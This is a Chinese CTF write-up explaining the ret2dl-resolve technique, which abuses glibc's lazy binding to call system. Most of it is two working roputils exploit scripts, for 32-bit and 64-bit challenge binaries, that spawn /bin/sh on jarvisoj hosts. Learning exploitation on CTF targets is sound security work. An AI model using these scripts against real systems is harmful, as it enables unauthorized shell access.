return-to-dl-reslove 得益于glibc的延迟绑定机制,可以通过调用plt[0]函数加载特定函数,函数参数的结构体偏移可以自己手动给一个超长的偏移
在第一次调用函数时,plt跳转got,got跳转plt下面,然后跳转plt[0],这相当于调用以下函数:
_dl_runtime_resolve(link_map, rel_offset); _dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。具体地。根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset; 根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];再找到符号信息中的符号名称:char sym_name = STRTAB + sym_entry->st_name;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 python from roputils import *DEBUG = 1 fpath = './level4' offset = 0x8c rop = ROP(fpath) addr_bss = rop.section('.bss' ) addr_plt_read = 0x08048310 addr_got_read = 0x0804a00c buf = rop.retfill(offset) buf += rop.call(addr_plt_read, 0 , addr_bss, 100 ) buf += rop.dl_resolve_call(addr_bss+20 , addr_bss) if DEBUG: p = Proc(rop.fpath) else : p = Proc(host='pwn2.jarvisoj.com' , port=9880 ) p.write(p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf))buf = rop.string('/bin/sh' ) buf += rop.fill(20 , buf) buf += rop.dl_resolve_data(addr_bss+20 , 'system' ) buf += rop.fill(100 , buf) p.write(buf) p.interact(0 )
64位需要把link_map的0x1c8清0不然会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #!/usr/bin/env python from roputils import * DEBUG = 1 fpath = './level3_x64' offset = 0x88 p4ret = 0x4006ac rop = ROP(fpath) addr_stage = rop.section('.bss') + 0x400 ptr_ret = rop.search(rop.section('.fini')) write_got = 0x600A58 read_got = 0x600a60 buf = rop.retfill(offset) buf += rop.call_chain_ptr( [write_got, 1, rop.got()+8, 8], [read_got, 0, addr_stage, 350] , pivot=addr_stage) if DEBUG: p = Proc(rop.fpath) else: p = Proc(host='pwn2.jarvisoj.com', port=9883) print p.read(7) raw_input('#1. leak link_map') p.write(buf) # print "[+] read: %r" % p.read(len(buf)) addr_link_map = p.read_p64() print 'addr_link_map %x' % addr_link_map addr_dt_debug = addr_link_map + 0x1c8 buf = rop.call_chain_ptr( [read_got, 0, addr_dt_debug, 8], [ptr_ret, addr_stage+310] ) buf += rop.dl_resolve_call(addr_stage+210) buf += rop.fill(210, buf) buf += rop.dl_resolve_data(addr_stage+210, 'system') buf += rop.fill(310, buf) buf += rop.string('/bin/sh') buf += rop.fill(350, buf) p.write(buf) p.write_p64(0) p.interact(0)